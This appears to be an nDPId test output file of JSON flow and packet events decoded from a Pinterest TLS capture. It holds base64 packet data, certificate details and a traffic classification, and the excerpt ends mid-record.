+00456{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229510,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWchkTOMZ4Sa7GgBALMMEtAAABAQgKwrkiG9ZiICo="} +02323{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229512,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDqe74hzJvgBgLMKiBAAABAQgKwrkiG9ZiICkWAwMAUgIAAE4DAzPFjhCNURctCGu9O+QrRUKiBA\/bj2U1VkYDJf\/1h2o3AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56ggxwaW50ZXJlc3QubnqCDHBpbnRlcmVzdC5lY4IMcGludGVyZXN0Lmh1ggxwaW50ZXJlc3QuY2GCDHBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3QubmyCDHBpbnRlcmVzdC5ubIIOKi5waW50ZXJlc3QudHeCDHBpbnRlcmVzdC50d4IOKi5waW50ZXJlc3QudGiCDHBpbnRlcmVzdC50aIIOKi5waW50ZXJlc3QuaWSCDioucGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC5odYIMcGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC51a4IMcGludGVyZXN0LnVrgg4qLnBpbnRlcmVzdC5ydYIMcGludGVyZXN0LnJ1gg4qLnBpbnRlcmVzdC5pdIIMcGludGVyZXN0Lml0ggxwaW50ZXJlc3QuZnKCDHBpbnRlcmVzdC5jbA=="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":127,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":7,"flow_first_seen":1605289714142,"flow_last_seen":1605289714229,"flow_tot_l4_data_len":2145,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38518,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02314{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229513,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDr1r4hzJvgBgLMHQhAAABAQgKwrkiG9ZiICmCDioucGludGVyZXN0LmZygg4qLnBpbnRlcmVzdC5qcIIOKi5waW50ZXJlc3QuY2GCDXBpbnRlcmVzdC5jb22CBnBpbi5pdIIOKi5waW50ZXJlc3Quc2WCDioucGludGVyZXN0LnB0gg4qLnBpbnRlcmVzdC5teIIOKi5waW50ZXJlc3Qua3KCDioucGludGVyZXN0LmllghVwaW50ZXJlc3QuZW5naW5lZXJpbmeCDioucGludGVyZXN0LmRrgg4qLnBpbnRlcmVzdC5kZYIOKi5waW50ZXJlc3QuY2iCDioucGludGVyZXN0LmF0ghMqLnBpbnRlcmVzdG1haWwuY29tghcqLnBpbnRlcmVzdC5lbmdpbmVlcmluZ4IQKi5waW50ZXJlc3QuaW5mb4IOcGludGVyZXN0LmluZm+CCnBpbmltZy5jb22CEXBpbnRlcmVzdG1haWwuY29tggxwaW50ZXJlc3QuZGWCDHBpbnRlcmVzdC5ka4IMcGludGVyZXN0LmllggxwaW50ZXJlc3QuanCCDHBpbnRlcmVzdC5rcoIMcGludGVyZXN0Lm14ggxwaW50ZXJlc3QucHSCDHBpbnRlcmVzdC5zZYIMcGludGVyZXN0LmF0ggxwaW50ZXJlc3QuY2iCD3BpbnRlcmVzdC5jby5hdIISKi5waW50ZXJlc3QuY29tLnV5gg9waW50ZXJlc3QuY28ua3KCD3BpbnRlcmVzdC5jby51a4ISKi5waW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLm14ghEqLnBpbnRlcmVzdC5jby5ueoIPcGludGVyZXN0LmNvLm56ghBwaW50ZXJlc3QuY29tLnBlghBwaW50ZXJlc3QuY29tLnV5ghEqLnBpbnRlcmVzdC5jby5pboIQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAg=="} +02329{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229513,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDtMb4hzJvgBgLMMHeAAABAQgKwrkiG9ZiICkwADCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABc1XlLKoAAAQDAEYwRAIgRaKv8aGxAlWYWbVHO27QuYaMVjkla1sqJ9KYUXrictoCIGZLCw9wt4OYbNbjf38Sd0HcVnjDAvQiSaQp0SpzApBKAHUAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzVeUs2gAABAMARjBEAiAuDr91sHLHbeq6ULmtTdDSNqnLoTLlcYe7\/kPCy2gn4QIgA+cib48hqVMfgDRA7rfZqbp5jNTNYzXGXOFA2AkCmT0wDQYJKoZIhvcNAQELBQADggEBABGiFYAkFnu8UzB05yYuu6ORpPiRus9re\/ZboVIXptvL0pkUrcvgfZi2w16yu5GxgOd3lO3AU5Kt\/ZpKFFCZxh9BN0EmZMVIOWL3InBaoMAPWM5FvBFhZR3ZzzTQgAomjhPGPc\/Ym2irB3KsHSFm9PXsfz\/uUho1KBgS5\/dxVaPUlW0FzOPQ352X1K5D48AsZ8gSLatYycUWqitEioqj+tbkxKSmohhxE9FIu2mZwKLfa5Jwerk4r+kkfHZWeU64M8ryNPfHAumKj4tuY9ExBO7Y4e2x3QcattWNF+nxQ0vhygeFbqK9scET+ozh8sLxcKZ6BJWetov0hn7Yza\/HLf0ABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovLw=="} +00456{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229514,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWelCqgAsyXzjKgBALMP4uAAABAQgKwrkiG9ZiICs="} +02024{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229515,"pkt_caplen":1244,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1244,"pkt_l4_len":1190,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABKYGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDujL4hzJvgBgLMJ34AAABAQgKwrkiG9ZiICl3d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMDcxMTQ0NTJaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQBCEMxaOGM0GLpuhDcnQSm4AAGA8yMDIwMTEwNzExNDQ1MlqgERgPMjAyMDExMTQxMDU5NTJaMA0GCSqGSIb3DQEBCwUAA4IBAQCImBufb295Au2ju2lBCnSUKecQwVg9gkN6+y60LAZnbHKZEtr+Lda+UXfoK+l1YxaCqc9JLrsr4yUrVuWDwRxH0toRCTmGGUR1HNlQU5BSRgxjgPVigRozTEGDyIG2vw3NYmRMnZjbfP1UrZzwnVZzj5IoQyLzbQpl32Lbbr\/bdDDEwFgQMUn5Amod0fxMXoc8DZjVCIsQLbr0ZulxdcJ15CaK\/qvh8pChLhnvH1n\/AwOhcIVlVBpT9V0l7u\/uP1rrFrxi8PCEFwKJscSV3vQwFCEg2HYfT4kSA5rWhfeVL8L7H9ouqSE+9QM1pVNOcBI21XL+i4YVwGNzOS8NUvBEFgMDASwMAAEoAwAdIDfNGFoXDdzwyt0WlBogLOaolJfSjJyg09PGvVp7Df5aCAQBAMFwmWr0EJO3qE5lTcPCty+JA1t5Z9VW8mJQcgrOvjIzgQ081VUDfIHeaU8nOjMAu3MGqfeaKsMRQ4BlxYqnIBqOcGEFkoz35odWttJb3YjcDABmFVzd9aAVGPgU\/IEoHkZUTbH0rqQ874gbCwUR0YWFdxWGDBbMi\/3r7ZwwvM6wGqqiHG7fCTfMNZI9433Y4FpuuPnRjXT7t\/UllRfFqmydRKpWz1lXMiQHo2IcmGfPH9gQx\/p6GtkrOWILjIu1Fq6YTCcwwCRO7P6c9QOqvRG6vBtC\/7DLM2conzp5\/21TRgGdTq3P8CXgPpGUqH47OwzHXF6U0b4vJ1439Gtfs1AWAwMABA4AAAA="} +02662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":131,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":10,"flow_first_seen":1605289714142,"flow_last_seen":1605289714229,"flow_tot_l4_data_len":6175,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":617,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38518,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +00456{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229515,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWeOms5zqKAxVrgBALMMm5AAABAQgKwrkiG9ZiICs="} +00441{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229583,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCEQNABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnYBu\/iHMm8AAAAAUAQAAC7RAAA="} +02321{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229787,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdKO8RXfDRQiKgBgLMKu4AAABAQgKwrkiG9ZiICoWAwMAUgIAAE4DAyzh2flHTI9UMsDC1FVGnXiMBfhQdrKyMusxrqJrbM8wAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56ggxwaW50ZXJlc3QubnqCDHBpbnRlcmVzdC5lY4IMcGludGVyZXN0Lmh1ggxwaW50ZXJlc3QuY2GCDHBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3QubmyCDHBpbnRlcmVzdC5ubIIOKi5waW50ZXJlc3QudHeCDHBpbnRlcmVzdC50d4IOKi5waW50ZXJlc3QudGiCDHBpbnRlcmVzdC50aIIOKi5waW50ZXJlc3QuaWSCDioucGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC5odYIMcGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC51a4IMcGludGVyZXN0LnVrgg4qLnBpbnRlcmVzdC5ydYIMcGludGVyZXN0LnJ1gg4qLnBpbnRlcmVzdC5pdIIMcGludGVyZXN0Lml0ggxwaW50ZXJlc3QuZnKCDHBpbnRlcmVzdC5jbA=="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":134,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1605289714142,"flow_last_seen":1605289714229,"flow_tot_l4_data_len":2145,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38516,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02321{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":229788,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWelCqgAsyXzjKgBgLMIITAAABAQgKwrkiHdZiICsWAwMAUgIAAE4DAxaBEV71RnzbmG6wvikn6Zh6RUXudcxWAZWEWYrdTbnSAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjj